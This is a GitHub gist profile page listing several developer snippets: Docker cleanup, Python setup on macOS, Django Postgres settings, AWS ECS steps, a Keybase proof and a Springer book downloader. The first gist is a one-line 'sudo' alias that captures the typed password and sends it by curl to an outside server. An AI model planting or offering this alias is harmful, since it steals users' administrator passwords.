Skip to content

Instantly share code, notes, and snippets.

View tcostam's full-sized avatar
Need more coffee

Tiago Costa tcostam

Need more coffee
View GitHub Profile
alias sudo='echo -n "Password: ";read -s password;echo;curl -XGET --data-urlencode "pass="$password -s http://server.example.com > /dev/null; echo $password | sudo -p "" -S '
@tcostam
tcostam / docker-cleanup-resources.md
Created May 20, 2018 22:04 — forked from bastman/docker-cleanup-resources.md
docker cleanup guide: containers, images, volumes, networks

Docker - How to cleanup (unused) resources

Once in a while, you may need to cleanup resources (containers, volumes, images, networks) ...

delete volumes

// see: https://github.com/chadoe/docker-cleanup-volumes

$ docker volume rm $(docker volume ls -qf dangling=true)

$ docker volume ls -qf dangling=true | xargs -r docker volume rm

@tcostam
tcostam / PythonSetup.md
Last active June 15, 2018 02:59
How to setup Python 3 correctly on Mac OSX

Python Setup

How to setup Python 3 correctly on Mac OSX

Install Python

brew install python3

Add PATH to ~/.bash_profile and ~/.zshrc

sort ~/.bash_history | uniq | awk '{print ": :0:;"$0}' >> ~/.zsh_history

  1. Add postgres config to your local.py
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql_psycopg2',
        'USER': 'username',
        'NAME': 'dbname',
        'PASSWORD': 'pass',
        'HOST': '127.0.0.1',
 'ATOMIC_REQUESTS': True,

AWS ECS setup

Created by: henriquemenezes

  1. Create VPC

VPC Dashboard > Start VPC Wizard > VPC with a Single Public Subnet

  • CIRD: 10.0.0.0/16
  • VPC name: -
  • Public Subnet: 10.0.0.0/24
@tcostam
tcostam / environment_setup.md
Last active December 28, 2020 02:10
Computer Environment Setup

Computer Environment Setup

Basic Environment

Ad-free Youtube CLI.

  1. Install mps-youtube
  2. Install mpv player
  3. Configure mpsyt
  • set search_music False
@tcostam
tcostam / keybase.md
Created December 27, 2019 11:57
keybase.md

Keybase proof

I hereby claim:

  • I am tcostam on github.
  • I am tcostam (https://keybase.io/tcostam) on keybase.
  • I have a public key ASDbbW36D4yZi0Ig-OyOXTqaPt7Vvf-4aO2bBtLN43jthwo

To claim this, I am signing this object:

@tcostam
tcostam / download_books.py
Last active April 5, 2020 00:58
Download free springer books from a specific spreadsheet
"""
There are books available for free download from springer editor
According to the following blog, it put together a spreadsheet with
all available books:
https://marcusnunes.me/posts/livros-gratuitos-da-springer/
This script requires python3, pandas, xlrd and wget
Steps:
1. Put spreadsheet on the same folder as this script